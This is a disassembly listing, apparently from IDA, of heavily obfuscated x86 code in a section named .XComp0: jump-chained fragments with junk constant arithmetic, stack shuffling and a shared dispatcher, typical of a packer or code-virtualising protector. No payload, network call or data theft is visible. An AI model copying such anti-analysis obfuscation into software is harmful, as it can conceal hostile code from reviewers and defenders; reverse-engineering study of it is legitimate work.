		mov	eax, 4
		add	edx, 0A23515h
		sub	edx, eax
		jmp	loc_57CB4F
; ---------------------------------------------------------------------------


loc_58112A:				; CODE XREF: .XComp0:0057A287j
		push	3418h
		jmp	loc_57EF5F
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57CE7B
; ---------------------------------------------------------------------------


loc_581146:				; CODE XREF: .XComp0:0057CB29j
		mov	ecx, 75F06A0h
		add	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 9C57395h
		xor	ebp, ecx
		pop	ecx
		push	ebp
		not	dword ptr [esp]
		jmp	loc_581319
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_581160:				; CODE XREF: sub_5A47B5-30D79j
		mov	[esp+2Ah+var_2C+2], ecx
		mov	cl, al
		mov	dh, cl
		pop	ecx
		pop	eax
		add	al, dh
		push	[esp+22h+var_24+2]
		mov	edx, [esp+26h+var_28+2]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	eax
		mov	eax, 155B5189h
		inc	eax
		sub	eax, 155B5186h
		jmp	loc_5807A3
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_581191:				; CODE XREF: .XComp0:005778BEj
		not	ecx
		xchg	ecx, ebp
		or	ebp, 7CB0015Fh
		jmp	loc_578B50
; ---------------------------------------------------------------------------


loc_5811A0:				; CODE XREF: .XComp0:0057DDAAj
		pop	esp
		mov	[esp], ecx
		mov	ecx, 0FFFFFFFFh
		sub	[edi+24h], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	11F9h
		mov	[esp], eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	6434h
		mov	[esp], ebx
		jmp	loc_580BA4
; ---------------------------------------------------------------------------


loc_5811DB:				; CODE XREF: .XComp0:00574E0Ej
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_57FD07
; ---------------------------------------------------------------------------


loc_5811E9:				; CODE XREF: .XComp0:0057E7BFj
		pop	eax
		add	bl, 1
		shr	bl, 1
		push	ecx
		push	edx
		mov	dh, 2Bh
		push	ebx
		jmp	loc_57F6BB
; ---------------------------------------------------------------------------


loc_5811F9:				; CODE XREF: .XComp0:0057DDC0j
		mov	dh, 4Ah
		add	bl, dh
		pop	edx
		sub	bl, al
		sub	bl, 4Ah
		jmp	loc_5822DC
; ---------------------------------------------------------------------------


loc_581208:				; CODE XREF: .XComp0:00577D32j
		pop	eax
		xor	eax, 28EB057Ch
		pop	esi
		add	esi, eax
		mov	eax, [esp]
		jmp	loc_579C3A
; ---------------------------------------------------------------------------


loc_581219:				; CODE XREF: .XComp0:0057D153j
		mov	[esp], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4C6E7C91h
		sub	edi, 0FFFFFFFFh
		inc	edi
		push	1A0Ch
		jmp	loc_57B35D
; ---------------------------------------------------------------------------


loc_58123A:				; CODE XREF: .XComp0:0057D88Bj
		add	esp, 4
		push	ebp
		push	6A03h
		mov	[esp], esi
		mov	esi, 0B455472h
		mov	ebp, 0D68370Ch
		jmp	loc_57B675
; ---------------------------------------------------------------------------


loc_581258:				; CODE XREF: .XComp0:00581EB2j
		pop	ecx
		add	eax, 814C8045h
		add	edi, eax
		jmp	loc_57CE21
; ---------------------------------------------------------------------------


loc_581265:				; CODE XREF: .XComp0:0058258Bj
		add	ecx, edi
		jmp	loc_57AA56
; ---------------------------------------------------------------------------


loc_58126C:				; CODE XREF: .XComp0:0057F93Bj
		xor	esi, 2F31E003h
		add	ebx, esi
		pop	esi
		add	ebx, eax
		sub	ebx, 292717E1h
		add	ebx, 728426BDh
		pop	small word ptr [eax]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_58128B:				; CODE XREF: .XComp0:0057FAC2j
		sub	cl, dh
		jmp	loc_5829DA
; ---------------------------------------------------------------------------


loc_581292:				; CODE XREF: .XComp0:0057F08Fj
		mov	edi, 23573275h
		neg	edi
		sub	edi, 3514358Ch
		jmp	loc_57FFA0
; ---------------------------------------------------------------------------


loc_5812A4:				; CODE XREF: .XComp0:00581E43j
		mov	[esp], cx
		jmp	loc_57BDF7
; ---------------------------------------------------------------------------


loc_5812AD:				; CODE XREF: .XComp0:0058358Aj
		pop	edx
		pop	ebx
		add	[esp+4], edx
		jmp	loc_574A57
; ---------------------------------------------------------------------------


loc_5812B8:				; CODE XREF: .XComp0:00574D82j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		push	4
		jmp	loc_57C780
; ---------------------------------------------------------------------------


loc_5812D8:				; CODE XREF: .XComp0:00573881j
		sub	dh, ch
		mov	cx, [esp]
		push	esi
		jmp	loc_578C8C
; ---------------------------------------------------------------------------


loc_5812E4:				; CODE XREF: .XComp0:0057D9B9j
		push	ecx
		mov	ecx, 5C3A4F99h
		add	[esp+8], ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	[esp+4], edi
		sub	dword ptr [esp+4], 5C3A4F99h
		push	ebx
		mov	ebx, 4C564DC6h
		jmp	loc_5798F8
; ---------------------------------------------------------------------------


loc_58130B:				; CODE XREF: .XComp0:005756F2j
		mov	[esp], esi
		jmp	loc_57C7B5
; ---------------------------------------------------------------------------


loc_581313:				; CODE XREF: .XComp0:0057FBD1j
		push	edx
		jmp	loc_578D15
; ---------------------------------------------------------------------------


loc_581319:				; CODE XREF: .XComp0:0058115Bj
		pop	ebp
		add	ebp, 713076C3h
		xor	ebp, 0B5D020FEh
		xor	eax, ebp
		pop	ebp
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_578D21
; ---------------------------------------------------------------------------


loc_58134A:				; CODE XREF: .XComp0:00577782j
		mov	ebx, 486230ECh
		mov	esi, ebx
		jmp	loc_581714
; ---------------------------------------------------------------------------


loc_581356:				; CODE XREF: .XComp0:00578304j
		pop	esi
		jmp	loc_57593C
; ---------------------------------------------------------------------------


loc_58135C:				; CODE XREF: .XComp0:0057869Bj
		xor	ebx, eax
		jmp	loc_57F6A4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	5F3h
		mov	[esp], esi
		push	148Dh
		mov	[esp], esp
		push	eax
		push	ebp
		push	edi
		mov	edi, 2DD26CAAh
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		inc	edi
		shr	edi, 4
		not	edi
		and	edi, 1281698Bh
		jmp	loc_57599B
; ---------------------------------------------------------------------------


loc_581396:				; CODE XREF: .XComp0:0057E841j
		mov	edi, 697C1F8Dh
		sub	edi, 39042516h
		add	edi, 49A61656h
		xor	edi, 75D63417h
		jmp	loc_5741E3
; ---------------------------------------------------------------------------


loc_5813B2:				; CODE XREF: .XComp0:0057B5FBj
		add	edi, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ecx, edi
		pop	edi
		jmp	loc_5743A7
; ---------------------------------------------------------------------------


loc_5813CF:				; CODE XREF: .XComp0:00580DD3j
		sub	esi, 6B5D028Ah
		jmp	loc_577ADE
; ---------------------------------------------------------------------------


loc_5813DA:				; CODE XREF: .XComp0:00577BE0j
		xor	edi, 0E74591C5h
		jmp	loc_57E1CC
; ---------------------------------------------------------------------------


loc_5813E5:				; CODE XREF: .XComp0:0057A062j
		mov	esp, [esp]
		cmp	cx, ax
		pushf
		jmp	loc_573685
; ---------------------------------------------------------------------------


loc_5813F1:				; CODE XREF: .XComp0:0057EC6Cj
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		shr	byte ptr [esp],	cl
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_581403:				; CODE XREF: .XComp0:00579A23j
		sub	ah, 0A3h
		mov	bh, ah
		jmp	loc_5751D6
; ---------------------------------------------------------------------------
		lodsd
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 5EB9371Eh
		dec	ebx
		not	ebx
		or	ebx, 6A595796h
		add	ebx, 1
		jmp	loc_57EC9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_58142D:				; CODE XREF: sub_5A47B5-24CADj
		xor	al, cl
		push	[esp+18h+var_18]
		pop	ecx
		add	esp, 4
		push	dx
		mov	dl, 6Fh
		push	4F6Dh
		mov	[esp+1Ah+var_1C+2], edx
		jmp	loc_581F1B
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_581447:				; CODE XREF: .XComp0:00574186j
		or	ebx, 33A24592h
		xor	ebx, 33FE7FD2h
		add	esi, ebx
		pop	ebx
		jmp	loc_575383
; ---------------------------------------------------------------------------


loc_58145B:				; CODE XREF: .XComp0:0057C916j
		shl	ecx, 4
		inc	ecx
		add	ecx, 30C618ECh
		xor	ecx, 324A08EFh
		push	40B5h
		mov	[esp], ebx
		jmp	loc_574ECD
; ---------------------------------------------------------------------------


loc_581478:				; CODE XREF: .XComp0:00573665j
		pop	eax
		push	edx
		push	eax
		mov	ah, 1Ch
		add	ah, 1
		jmp	loc_57E2BC
; ---------------------------------------------------------------------------


loc_581485:				; CODE XREF: .XComp0:0057FD44j
		mov	bh, 2Ch
		mov	dl, 0E3h
		xor	dl, bh
		jmp	loc_578899
; ---------------------------------------------------------------------------


loc_581490:				; CODE XREF: .XComp0:005791F5j
		add	esp, 4
		push	edx
		mov	edx, 169F377Bh
		shr	edx, 6
		sub	edx, 40375EEBh
		push	ebx
		mov	ebx, 0C0231DF0h
		jmp	loc_573790
; ---------------------------------------------------------------------------


loc_5814AD:				; CODE XREF: .XComp0:00581D79j
		mov	[esp], ebp
		jmp	loc_57D8A1
; ---------------------------------------------------------------------------


loc_5814B5:				; CODE XREF: .XComp0:005797A8j
		push	cx
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	25B2h
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		push	3B50h
		mov	[esp], ecx
		jmp	loc_57C90E
; ---------------------------------------------------------------------------


loc_5814DD:				; CODE XREF: .XComp0:00576382j
		mov	[esp], ebx
		jmp	loc_57E9E3
; ---------------------------------------------------------------------------


loc_5814E5:				; CODE XREF: .XComp0:005783ECj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		add	ebp, 2
		push	ebp
		jmp	loc_582E3E
; ---------------------------------------------------------------------------


loc_58150C:				; CODE XREF: .XComp0:0057FDC7j
		xchg	ecx, [esp]
		jmp	loc_57C363
; ---------------------------------------------------------------------------


loc_581514:				; CODE XREF: .XComp0:0057CE5Bj
		shr	ecx, 3
		xor	ecx, 27357C05h
		xor	ecx, 3A0715B8h
		add	ebp, ecx
		pop	ecx
		push	edx
		mov	edx, 4
		sub	ebp, edx
		jmp	loc_5819AA
; ---------------------------------------------------------------------------


loc_581533:				; CODE XREF: .XComp0:00577314j
		xchg	eax, ebx
		neg	ebx
		jmp	loc_577645
; ---------------------------------------------------------------------------


loc_58153B:				; CODE XREF: .XComp0:005756A6j
		push	eax
		mov	eax, 3E9F29E3h
		add	edi, eax
		pop	eax
		sub	edi, esi
		push	edx
		mov	edx, 3E9F29E3h
		sub	edi, edx
		pop	edx
		pop	esi
		sub	edx, 17021E65h
		add	edx, edi
		add	edx, 17021E65h
		pop	edi
		push	ebx
		jmp	loc_577D61
; ---------------------------------------------------------------------------


loc_581565:				; CODE XREF: .XComp0:0058336Cj
		add	edi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57E846
; ---------------------------------------------------------------------------


loc_581572:				; CODE XREF: .XComp0:005763E8j
		sub	ebp, 3B22145Ch
		add	ebp, 7AD831D6h
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		div	ecx
		push	2FA8h
		mov	[esp], edx
		jmp	loc_581DDA
; ---------------------------------------------------------------------------


loc_581594:				; CODE XREF: .XComp0:0057BAB7j
		mov	bh, 0E8h
		sub	bh, 1
		dec	bh
		jmp	loc_5760CC
; ---------------------------------------------------------------------------


loc_5815A0:				; CODE XREF: .XComp0:0057F4F6j
		mov	ch, 0F1h
		add	bl, ch
		pop	ecx
		sub	bl, al
		jmp	loc_580909
; ---------------------------------------------------------------------------


loc_5815AC:				; CODE XREF: .XComp0:0057776Aj
		pop	esi
		shl	ecx, 5
		sub	ecx, 2E82B0FCh
		add	edi, 52D23804h
		add	edi, ecx
		sub	edi, 52D23804h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57498F
; ---------------------------------------------------------------------------


loc_5815D2:				; CODE XREF: .XComp0:00577187j
		push	edx
		mov	edx, 40AF1A22h
		sub	eax, edx
		pop	edx
		mov	ebx, [esp]
		jmp	loc_5759F1
; ---------------------------------------------------------------------------


loc_5815E3:				; CODE XREF: .XComp0:005781E9j
		add	esp, 4
		or	edi, esi
		push	dword ptr [esp]
		jmp	loc_57D3CC
; ---------------------------------------------------------------------------


loc_5815F3:				; CODE XREF: .XComp0:0057523Aj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_573769
; ---------------------------------------------------------------------------


loc_581604:				; CODE XREF: .XComp0:00575E16j
		push	ecx
		jmp	loc_577823
; ---------------------------------------------------------------------------


loc_58160A:				; CODE XREF: .XComp0:00577A1Fj
		or	dl, 31h
		shl	dl, 3
		push	esi
		mov	esi, esp
		jmp	loc_57A08C
; ---------------------------------------------------------------------------


loc_581618:				; CODE XREF: .XComp0:00575F52j
		mov	ecx, [esp]
		add	esp, 4
		shr	esi, 2
		inc	esi
		add	esi, 4A30C480h
		push	edx
		mov	edx, 29B41B1Dh
		sub	ebx, edx
		jmp	loc_5758B5
; ---------------------------------------------------------------------------


loc_581638:				; CODE XREF: .XComp0:00574E7Fj
		mov	ch, ah
		pop	eax
		xor	ch, al
		pop	eax
		neg	ch
		push	ax
		mov	al, ch
		not	al
		jmp	loc_579C58
; ---------------------------------------------------------------------------


loc_58164B:				; CODE XREF: .XComp0:0057CAC9j
		pop	dword ptr [esp]
		push	esi
		mov	esi, 4
		jmp	loc_57E6D7
; ---------------------------------------------------------------------------


loc_581659:				; CODE XREF: .XComp0:00576C15j
		pop	edx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_581667:				; CODE XREF: .XComp0:0057E64Cj
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_57822F
; ---------------------------------------------------------------------------


loc_58167C:				; CODE XREF: .XComp0:00575D69j
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_574AC0
; ---------------------------------------------------------------------------


loc_5816B6:				; CODE XREF: .XComp0:0057C7B0j
		add	ecx, 4
		jmp	loc_581C31
; ---------------------------------------------------------------------------


loc_5816C1:				; CODE XREF: .XComp0:0057498Aj
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 65D86E5Bh
		add	ebp, 9A2791A9h
		sub	eax, 6C5667CBh
		add	eax, ebp
		add	eax, 6C5667CBh
		mov	ebp, [esp]
		add	esp, 4
		add	eax, 2
		xchg	eax, [esp]
		mov	esp, [esp]
		push	7F81h
		mov	[esp], ebx
		jmp	loc_5756E8
; ---------------------------------------------------------------------------


loc_5816FE:				; CODE XREF: .XComp0:0057CEF9j
		mov	esi, 3A806D1h
		push	edx
		mov	edx, 58213454h
		xor	edx, 731A2D06h
		jmp	loc_5776D2
; ---------------------------------------------------------------------------


loc_581714:				; CODE XREF: .XComp0:00581351j
		pop	ebx
		push	eax
		jmp	loc_577026
; ---------------------------------------------------------------------------


loc_58171B:				; CODE XREF: .XComp0:00581FADj
		and	edx, 64912B10h
		add	edx, 2DCB5299h
		jmp	loc_582E05
; ---------------------------------------------------------------------------


loc_58172C:				; CODE XREF: .XComp0:00576603j
		add	ebx, eax
		push	655Ah
		mov	[esp], eax
		mov	eax, 782C1E1Ah
		push	5F9Bh
		mov	[esp], edi
		mov	edi, 6B262D9Bh
		sub	ebx, edi
		mov	edi, [esp]
		jmp	loc_579EEB
; ---------------------------------------------------------------------------


loc_581752:				; CODE XREF: .XComp0:00582779j
		xchg	eax, [esp]
		pop	esp
		push	ebx
		push	ebp
		jmp	loc_5805C7
; ---------------------------------------------------------------------------


loc_58175D:				; CODE XREF: .XComp0:0057AD7Cj
		xchg	eax, edx
		xor	edx, 0CAF5097Eh
		push	edx
		add	dword ptr [esp], 53E961F3h
		pop	edi
		sub	edi, 53E961F3h
		pop	edx
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_579A92
; ---------------------------------------------------------------------------


loc_581783:				; CODE XREF: .XComp0:0058064Dj
		mov	esp, [esp]
		mov	[esp], eax
		sub	dword ptr [esp], 1
		pop	eax
		push	7E63h
		mov	[esp], ebp
		push	10h
		pop	ebp
		jmp	loc_574A0D
; ---------------------------------------------------------------------------


loc_5817A4:				; CODE XREF: .XComp0:00575F8Cj
		pop	eax
		add	eax, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		push	7156h
		mov	[esp], ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		jmp	loc_5808A2
; ---------------------------------------------------------------------------


loc_5817C2:				; CODE XREF: .XComp0:0057E5A1j
		mov	[esp], cx
		pop	di
		jmp	loc_5774F9
; ---------------------------------------------------------------------------


loc_5817CD:				; CODE XREF: .XComp0:0057EF35j
		pop	ebp
		push	2731h
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5795E6
; ---------------------------------------------------------------------------


loc_5817E2:				; CODE XREF: .XComp0:005765EBj
		add	eax, 4
		jmp	loc_57F6F7
; ---------------------------------------------------------------------------


loc_5817EC:				; CODE XREF: .XComp0:0057BBBBj
		not	ebx
		sub	ebx, 725431DEh
		sub	edx, ebx
		jmp	loc_57FEEE
; ---------------------------------------------------------------------------
		lodsd
		push	1DE5h
		mov	[esp], edx
		mov	edx, 495C7DF0h
		jmp	loc_57F012
; ---------------------------------------------------------------------------


loc_58180E:				; CODE XREF: .XComp0:00579DD3j
		pop	ebx
		shr	ebx, 5
		neg	ebx
		push	edi
		jmp	loc_57F981
; ---------------------------------------------------------------------------


loc_58181A:				; CODE XREF: .XComp0:0057AFA2j
		add	esp, 4
		sub	esi, 0AD35ADABh
		jmp	loc_57F33D
; ---------------------------------------------------------------------------


loc_58182B:				; CODE XREF: .XComp0:00583615j
		mov	edx, 0
		jmp	loc_57CE70
; ---------------------------------------------------------------------------


loc_581835:				; CODE XREF: .XComp0:00582902j
		push	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_57E5C1
; ---------------------------------------------------------------------------


loc_581845:				; CODE XREF: .XComp0:0057DF0Fj
		mov	edi, 515027E7h
		sub	edi, 0DAD10F52h
		add	edx, edi
		pop	edi
		add	edx, 5D9B74EDh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_57426C
; ---------------------------------------------------------------------------


loc_581862:				; CODE XREF: .XComp0:0057A1EFj
		push	ebp
		mov	ebp, 10C46B69h
		xor	ebp, 3B8E31DEh
		sub	eax, ebp
		pop	ebp
		pop	ecx
		add	eax, ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2E4F185Dh
		push	eax
		push	edx
		mov	edx, 0F3C4DB0h
		mov	eax, 4C393C27h
		xor	eax, edx
		pop	edx
		push	edi
		mov	edi, 1A31410h
		jmp	loc_5760BA
; ---------------------------------------------------------------------------


loc_581899:				; CODE XREF: .XComp0:0057EE88j
		push	edi
		mov	edi, esp
		push	4F16h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_5773D7
; ---------------------------------------------------------------------------


loc_5818AF:				; CODE XREF: .XComp0:0057B510j
		shl	ebx, 2
		add	ebx, 1F58AED0h
		sub	eax, ebx
		pop	ebx
		sub	eax, esi
		add	eax, 3A59311Ch
		pop	esi
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	0A8h
		mov	[esp], edx
		mov	edx, 1AD33779h
		jmp	loc_57FEBD
; ---------------------------------------------------------------------------


loc_5818F6:				; CODE XREF: .XComp0:00581DAAj
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 4
		sub	esi, 72D2334Dh
		add	esi, ebx
		jmp	loc_579BDE
; ---------------------------------------------------------------------------


loc_581911:				; CODE XREF: .XComp0:00577458j
		mov	edx, 2F551758h
		add	eax, edx
		jmp	loc_57C02C
; ---------------------------------------------------------------------------


loc_58191D:				; CODE XREF: .XComp0:0057FAEFj
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_576C08
; ---------------------------------------------------------------------------


loc_58192C:				; CODE XREF: .XComp0:0057EBFEj
		mov	al, 0B8h
		jmp	loc_576E24
; ---------------------------------------------------------------------------


loc_581933:				; CODE XREF: .XComp0:0057ED27j
		sub	ebx, 0F11A39Ch
		or	eax, ebx
		pop	ebx
		dec	eax
		add	eax, 9466A014h
		jmp	loc_580029
; ---------------------------------------------------------------------------


loc_581947:				; CODE XREF: .XComp0:00573AA1j
		add	ebx, 7D4706DBh
		push	6556h
		mov	[esp], eax
		mov	eax, 69306996h
		inc	eax
		and	eax, 6195778Fh
		jmp	loc_579DD8
; ---------------------------------------------------------------------------


loc_581965:				; CODE XREF: .XComp0:00574298j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	esi, 248268E2h
		add	esi, 21545834h
		sub	esi, 0BFAEE9ECh
		add	edx, 56E57178h
		sub	edx, esi
		sub	edx, 56E57178h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_58199C:				; CODE XREF: .XComp0:00578827j
		mov	[esp], esp
		jmp	loc_57E441
; ---------------------------------------------------------------------------


loc_5819A4:				; CODE XREF: .XComp0:005749DBj
		pop	edi
		jmp	loc_57B85E
; ---------------------------------------------------------------------------


loc_5819AA:				; CODE XREF: .XComp0:0058152Ej
		pop	edx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_578C7B
; ---------------------------------------------------------------------------


loc_5819B9:				; CODE XREF: .XComp0:0057F3CBj
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_574F01
; ---------------------------------------------------------------------------


loc_5819C2:				; CODE XREF: .XComp0:00581E0Cj
		pop	ecx
		sub	ah, 22h
		jmp	loc_57C81C
; ---------------------------------------------------------------------------


loc_5819CB:				; CODE XREF: .XComp0:00574A1Bj
		push	459Ah
		mov	[esp], esi
		push	3CD2h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		push	esi
		jmp	loc_57A29D
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edx
		mov	edx, esp
		push	52B2h
		mov	[esp], edi
		jmp	loc_58023E
; ---------------------------------------------------------------------------


loc_5819FC:				; CODE XREF: .XComp0:0057B1D4j
		shl	eax, 1
		push	ebx
		mov	ebx, 1DC7406Ch
		or	ebx, 39361EBDh
		inc	ebx
		add	ebx, 17CD6AEAh
		and	ebx, 665522B8h
		jmp	loc_57FF74
; ---------------------------------------------------------------------------


loc_581A1C:				; CODE XREF: .XComp0:0057C601j
		mov	ebx, 50FE5E19h
		inc	ebx
		push	ebp
		mov	ebp, 8A77F87h
		xor	ebp, 3A2A39ABh
		not	ebp
		neg	ebp
		shl	ebp, 4
		push	ebx
		mov	ebx, 0B6068C59h
		jmp	loc_57A6BC
; ---------------------------------------------------------------------------


loc_581A40:				; CODE XREF: .XComp0:0057B5EEj
		mov	esp, [esp]
		mov	[esp], esi
		mov	esi, 2
		add	ebp, esi
		pop	esi
		jmp	loc_579D72
; ---------------------------------------------------------------------------


loc_581A53:				; CODE XREF: .XComp0:0057F852j
		pop	eax
		push	eax
		jmp	loc_574F16
; ---------------------------------------------------------------------------


loc_581A5A:				; CODE XREF: .XComp0:00579D75j
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_581A69:				; CODE XREF: .XComp0:005778E9j
		xor	esi, edi
		pop	edi
		add	ebx, esi
		jmp	loc_57891A
; ---------------------------------------------------------------------------


loc_581A73:				; CODE XREF: .XComp0:00576E80j
		pop	esi
		jmp	loc_579ED7
; ---------------------------------------------------------------------------


loc_581A79:				; CODE XREF: .XComp0:005809BEj
		pop	eax
		push	595Bh
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_57AB6A
; ---------------------------------------------------------------------------


loc_581A8A:				; CODE XREF: .XComp0:0057931Dj
		pop	eax
		or	ebx, 9FA2FAEh
		sub	ebx, 0FFFF6FEBh
		add	ecx, ebx
		pop	ebx
		push	esi
		push	4
		pop	esi
		sub	ecx, esi
		pop	esi
		jmp	loc_57AF32
; ---------------------------------------------------------------------------


loc_581AA9:				; CODE XREF: .XComp0:0057E9E4j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_578EBB
; ---------------------------------------------------------------------------


loc_581AB9:				; CODE XREF: .XComp0:0057D824j
		xor	[esp], al
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_581AC2:				; CODE XREF: .XComp0:0057D01Dj
		push	4F40h
		mov	[esp], esi
		jmp	loc_57CD14
; ---------------------------------------------------------------------------


loc_581ACF:				; CODE XREF: .XComp0:00573CCBj
		mov	bl, dl
		pop	edx
		sub	bl, 12h
		mov	ch, bl
		pop	ebx
		sub	bl, ch
		pop	ecx
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_581AE7:				; CODE XREF: .XComp0:0057F0BEj
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	3D5Eh
		mov	[esp], ebx
		pop	ebp
		mov	eax, ebp
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_578E3F
; ---------------------------------------------------------------------------


loc_581B09:				; CODE XREF: .XComp0:00582733j
		sub	ebp, 1147463Ah
		sub	ebp, 6C39227Bh
		sub	ebp, eax
		add	ebp, 6C39227Bh
		add	ebp, 1147463Ah
		pop	eax
		pop	edx
		push	edx
		jmp	loc_57824C
; ---------------------------------------------------------------------------


loc_581B2B:				; CODE XREF: .XComp0:0057A26Ej
		mov	[esp], ecx
		push	eax
		push	57292A65h
		pop	eax
		add	eax, 0E234F1D7h
		jmp	loc_57FDE8
; ---------------------------------------------------------------------------


loc_581B3F:				; CODE XREF: .XComp0:00579741j
		pop	ebp
		jmp	loc_576557
; ---------------------------------------------------------------------------


loc_581B45:				; CODE XREF: .XComp0:00574704j
		add	edx, 0F58E2F5h
		mov	esi, edx
		jmp	loc_580A38
; ---------------------------------------------------------------------------


loc_581B52:				; CODE XREF: .XComp0:0057DF22j
		add	esi, 934C8B7Ah
		mov	ecx, esi
		pop	esi
		push	9B1h
		mov	[esp], ebp
		mov	ebp, 280B39E8h
		shl	ebp, 3
		jmp	loc_5740C4
; ---------------------------------------------------------------------------


loc_581B70:				; CODE XREF: .XComp0:005820F7j
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_574A20
; ---------------------------------------------------------------------------


loc_581B7B:				; CODE XREF: .XComp0:00573582j
		push	esi
		push	esp
		jmp	loc_57A512
; ---------------------------------------------------------------------------


loc_581B82:				; CODE XREF: .XComp0:005796C9j
		pop	edx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 6A15620Eh
		push	0
		sub	[esp], eax
		pop	eax
		add	eax, 0FFFFFFFFh
		add	eax, 1
		push	edx
		mov	edx, 61B25C12h
		xor	edx, 4C967CDCh
		jmp	loc_579174
; ---------------------------------------------------------------------------


loc_581BB1:				; CODE XREF: .XComp0:005805B8j
		xor	ebx, 284C383Ah
		sub	ebx, 0DAFD159Ch
		sub	esi, ebx
		pop	ebx
		sub	esi, 0BE573E9h
		add	esi, ebx
		add	esi, 0BE573E9h
		add	esi, 2F543209h
		mov	ebx, [esp]
		add	esp, 4
		add	esi, 2
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5742E2
; ---------------------------------------------------------------------------


loc_581BFA:				; CODE XREF: .XComp0:005810CBj
		pop	esi
		push	68A2h
		mov	[esp], ebx
		push	2F823EE8h
		mov	ebx, [esp]
		jmp	loc_579878
; ---------------------------------------------------------------------------


loc_581C10:				; CODE XREF: .XComp0:00579630j
		sub	eax, ebp
		pop	ebp
		jmp	loc_57FD36
; ---------------------------------------------------------------------------


loc_581C18:				; CODE XREF: .XComp0:00583270j
		push	esi
		push	ecx
		mov	ecx, 2B082CDFh
		dec	ecx
		dec	ecx
		push	edx
		jmp	loc_575F40
; ---------------------------------------------------------------------------


